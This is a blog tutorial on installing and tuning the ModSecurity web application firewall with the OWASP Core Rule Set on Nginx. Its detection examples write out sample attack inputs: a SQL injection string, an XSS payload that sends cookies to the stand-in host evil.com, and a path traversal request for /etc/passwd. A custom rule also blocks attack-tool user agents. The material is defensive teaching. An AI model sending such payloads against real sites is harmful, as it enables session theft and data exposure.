Security

ModSecurity WAF: Protect Your Server from SQL Injection, XSS, and OWASP Top 10

April 09, 2026

Back to Blog

What Is a Web Application Firewall?

A Web Application Firewall (WAF) sits between your web server and the internet, inspecting every HTTP request before it reaches your application. Unlike a network firewall that operates at the TCP/IP layer and filters by ports and IP addresses, a WAF operates at the application layer (Layer 7) and understands HTTP semantics — it can inspect URLs, request headers, cookies, POST bodies, and query parameters to detect and block malicious payloads.

Client
Attacker
Network FW
Layer 3/4
ModSecurity
Layer 7 WAF
Web Server
Nginx/Apache
Application
PHP/Node/Python

Without a WAF, a SQL injection payload like ' OR 1=1 -- passes straight through to your application. If your code has even one unparameterized query, your entire database is exposed. With ModSecurity and the OWASP Core Rule Set, that same request is intercepted, analyzed, matched against known attack patterns, and blocked before your application ever sees it.

94%
Of web apps have critical vulnerabilities (OWASP)
33%
Of all breaches involve SQL injection

ModSecurity: History and Architecture

ModSecurity was originally created in 2002 as an Apache module. Over the years, it evolved through three major versions:

VersionYearArchitectureStatus
ModSecurity 1.x2002Apache-only moduleObsolete
ModSecurity 2.x2006Apache module (mature, stable)Maintenance
libmodsecurity 3.x2017Standalone library + connectorsActive

ModSecurity 3.x (libmodsecurity) is a complete rewrite as a standalone C library. It provides connectors for different web servers — the Nginx connector (modsecurity-nginx) embeds the library directly into Nginx as a dynamic module. This architecture means ModSecurity's rule engine is completely independent of the web server, allowing the same rules to protect both Nginx and Apache deployments.

Understanding the OWASP Core Rule Set

ModSecurity is the engine; the OWASP Core Rule Set (CRS) is the fuel. The CRS is a comprehensive set of attack detection rules maintained by the OWASP Foundation. It provides protection against the most common web application attacks without requiring any knowledge of your specific application.

The OWASP Top 10 attacks that CRS protects against include: SQL Injection, Cross-Site Scripting (XSS), Remote Code Execution, Local/Remote File Inclusion, Path Traversal, Server-Side Request Forgery (SSRF), and many more.

CRS Rule Categories

Rule RangeCategoryAttacks Blocked
910000-910999InitializationSetup and configuration
911000-911999Method EnforcementInvalid HTTP methods
913000-913999Scanner DetectionSecurity scanner fingerprints
920000-920999Protocol EnforcementHTTP protocol violations
930000-930999LFI/RFIFile inclusion attacks
931000-931999RFIRemote file inclusion
932000-932999RCERemote code execution
933000-933999PHP AttacksPHP-specific injection
941000-941999XSSCross-site scripting
942000-942999SQLiSQL injection
943000-943999Session FixationSession hijacking
949000-949999BlockingAnomaly score evaluation

Installing ModSecurity 3 with Nginx

Installing ModSecurity with Nginx requires compiling the Nginx connector module. This is a multi-step process, but each step is straightforward:

1

Install Dependencies

$ sudo apt install -y git gcc make build-essential autoconf automake \
  libtool libcurl4-openssl-dev liblua5.3-dev libfuzzy-dev ssdeep \
  libgeoip-dev libyajl-dev libpcre2-dev libxml2-dev libmaxminddb-dev
2

Compile libmodsecurity

$ cd /opt && git clone --depth 1 https://github.com/owasp-modsecurity/ModSecurity
$ cd ModSecurity
$ git submodule init && git submodule update
$ ./build.sh
$ ./configure --with-pcre2
$ make -j$(nproc)
$ sudo make install
Libraries installed to: /usr/local/modsecurity/lib
3

Compile the Nginx Connector

$ cd /opt && git clone --depth 1 https://github.com/owasp-modsecurity/ModSecurity-nginx
$ nginx -v
nginx version: nginx/1.27.4

$ wget http://nginx.org/download/nginx-1.27.4.tar.gz
$ tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
$ ./configure --with-compat --add-dynamic-module=../ModSecurity-nginx
$ make modules
$ sudo cp objs/ngx_http_modsecurity_module.so /etc/nginx/modules/
4

Enable the Module in Nginx

# Add to the top of /etc/nginx/nginx.conf (before the events block)
load_module modules/ngx_http_modsecurity_module.so;

Installing the OWASP Core Rule Set

$ cd /etc/nginx
$ git clone https://github.com/coreruleset/coreruleset.git /etc/nginx/owasp-crs
$ cd /etc/nginx/owasp-crs
$ cp crs-setup.conf.example crs-setup.conf

Configuring ModSecurity

The main ModSecurity configuration file controls the engine behavior, logging, and rule processing. Here are the essential settings:

$ sudo nano /etc/nginx/modsecurity/modsecurity.conf

# Engine mode: On = block, DetectionOnly = log only
SecRuleEngine On

# Request body handling
SecRequestBodyAccess On
SecRequestBodyLimit 13107200
SecRequestBodyNoFilesLimit 131072

# Response body handling
SecResponseBodyAccess Off

# Audit logging
SecAuditEngine RelevantOnly
SecAuditLogRelevantStatus "^(?:5|4(?!04))"
SecAuditLogType Serial
SecAuditLog /var/log/nginx/modsec_audit.log

# Include OWASP CRS
Include /etc/nginx/owasp-crs/crs-setup.conf
Include /etc/nginx/owasp-crs/rules/*.conf
Start with DetectionOnly. When first deploying ModSecurity, set SecRuleEngine DetectionOnly. This logs all rule matches without blocking any requests, letting you identify false positives before switching to full blocking mode. Run in DetectionOnly for at least one week of normal traffic before enabling On.

Enable ModSecurity in Nginx Server Block

server {
  listen 443 ssl http2;
  server_name example.com;

  modsecurity on;
  modsecurity_rules_file /etc/nginx/modsecurity/modsecurity.conf;

  root /var/www/example.com/public;
  # ... rest of config
}

How ModSecurity Blocks Attacks

SQL Injection Detection

SQL injection is the most dangerous and most common web attack. ModSecurity detects injection attempts by matching request parameters against thousands of known SQL injection patterns:

# Attacker sends:
GET /search?q=' OR 1=1 -- HTTP/1.1

# ModSecurity CRS Rule 942100 matches:
[id "942100"] [msg "SQL Injection Attack Detected via libinjection"]
[severity "CRITICAL"] [tag "OWASP_CRS"] [tag "attack-sqli"]

# Response: 403 Forbidden

Cross-Site Scripting (XSS) Detection

# Attacker sends:
POST /comment HTTP/1.1
body=<script>document.location='http://evil.com/steal?c='+document.cookie</script>

# ModSecurity CRS Rule 941110 matches:
[id "941110"] [msg "XSS Filter - Category 1: Script Tag Vector"]
[severity "CRITICAL"] [tag "attack-xss"]

# Response: 403 Forbidden

Path Traversal Detection

# Attacker sends:
GET /download?file=../../../etc/passwd HTTP/1.1

# ModSecurity CRS Rule 930100 matches:
[id "930100"] [msg "Path Traversal Attack (/../)"]
[severity "CRITICAL"] [tag "attack-lfi"]

# Response: 403 Forbidden

Managing False Positives

The biggest challenge with ModSecurity is false positives — legitimate requests that trigger rules. This is especially common with content management systems, WYSIWYG editors, and applications that accept HTML or code as user input.

Identifying False Positives

$ sudo tail -f /var/log/nginx/modsec_audit.log | grep "id \""
[id "941160"] [msg "NoScript XSS InjectionChecker: HTML Injection"]
[uri "/admin/posts/edit"] [unique_id "abc123"]

Excluding Specific Rules

# Disable a specific rule globally
SecRuleRemoveById 941160

# Disable a rule only for a specific URL
SecRule REQUEST_URI "@beginsWith /admin/posts" \
  "id:1001,phase:1,nolog,pass,ctl:ruleRemoveById=941160"

# Disable a rule only for a specific parameter
SecRuleUpdateTargetById 941160 "!ARGS:content"
Never disable entire rule categories. Instead, use targeted exclusions for specific rules on specific URLs or parameters. Disabling all XSS rules because your CMS editor triggers one is like removing your front door because you lost the key.

Writing Custom Rules

ModSecurity rules follow a consistent syntax. Understanding the structure lets you create custom rules for threats specific to your application:

# Rule syntax:
# SecRule VARIABLE OPERATOR "ACTIONS"

# Block requests to wp-config.php
SecRule REQUEST_URI "@contains wp-config.php" \
  "id:10001,\
  phase:1,\
  deny,\
  status:403,\
  msg:'Attempted access to wp-config.php',\
  severity:'CRITICAL',\
  tag:'custom-rules'"

# Block specific user agents (bad bots)
SecRule REQUEST_HEADERS:User-Agent "@rx (sqlmap|nikto|havij|acunetix)" \
  "id:10002,\
  phase:1,\
  deny,\
  status:403,\
  msg:'Known attack tool detected',\
  severity:'CRITICAL'"

# Rate limit login attempts
SecRule REQUEST_URI "@beginsWith /wp-login.php" \
  "id:10003,\
  phase:1,\
  pass,\
  nolog,\
  setvar:'ip.login_attempts=+1',\
  expirevar:'ip.login_attempts=300'"

SecRule IP:LOGIN_ATTEMPTS "@gt 10" \
  "id:10004,\
  phase:1,\
  deny,\
  status:429,\
  msg:'Login rate limit exceeded'"

Performance Considerations

ModSecurity adds processing overhead to every request. The impact depends on the number of rules, the request size, and the anomaly scoring threshold. Here is what to expect:

ConfigurationLatency ImpactThroughput Impact
ModSecurity OffBaselineBaseline
CRS Paranoia Level 1+1-3ms-3-5%
CRS Paranoia Level 2+3-8ms-8-12%
CRS Paranoia Level 3+8-15ms-15-25%
CRS Paranoia Level 4+15-30ms-25-40%
Paranoia Level 1 is recommended for most sites. It provides excellent protection against common attacks with minimal performance impact and few false positives. Higher levels add more aggressive rules that catch more obscure attack patterns but significantly increase false positives.

Reviewing the Audit Log

The audit log is your window into what ModSecurity is doing. Each entry contains the full request, the matching rules, and the action taken:

$ sudo tail -50 /var/log/nginx/modsec_audit.log

--a]--
[17/Mar/2026:14:23:01 +0000] YxKj...
--b]-- Request headers
GET /search?q='%20OR%201=1%20-- HTTP/1.1
Host: example.com
--f]-- Response headers
HTTP/1.1 403
--h]-- Matched rules
Message: SQL Injection Attack Detected via libinjection
[id "942100"] [severity "CRITICAL"]
Action: Intercepted (phase 2)
--z]--

ModSecurity with Panelica

Panelica includes ModSecurity with OWASP CRS pre-installed and active for every domain. The Security panel provides per-domain WAF controls — enable or disable ModSecurity for specific domains, adjust the paranoia level, manage rule exclusions for known false positives, and review blocked requests with full audit details. Custom rules can be added through the panel interface. When a legitimate request is blocked, you can whitelist the specific rule and URL combination with one click, without touching any configuration files.

WAF Best Practices

  • Start in DetectionOnly mode and monitor logs for at least one week
  • Use OWASP CRS Paranoia Level 1 for balanced protection and performance
  • Create targeted rule exclusions instead of disabling entire categories
  • Monitor the audit log regularly for new false positives and real attacks
  • Keep the OWASP CRS updated — new rules are released monthly
  • Disable response body inspection (SecResponseBodyAccess Off) for performance
  • Test custom rules in DetectionOnly before switching to blocking mode
  • Use ModSecurity alongside — not instead of — application-level input validation
  • Set up log rotation for the audit log to prevent disk exhaustion
  • Document every rule exclusion with a comment explaining why it was needed
Share: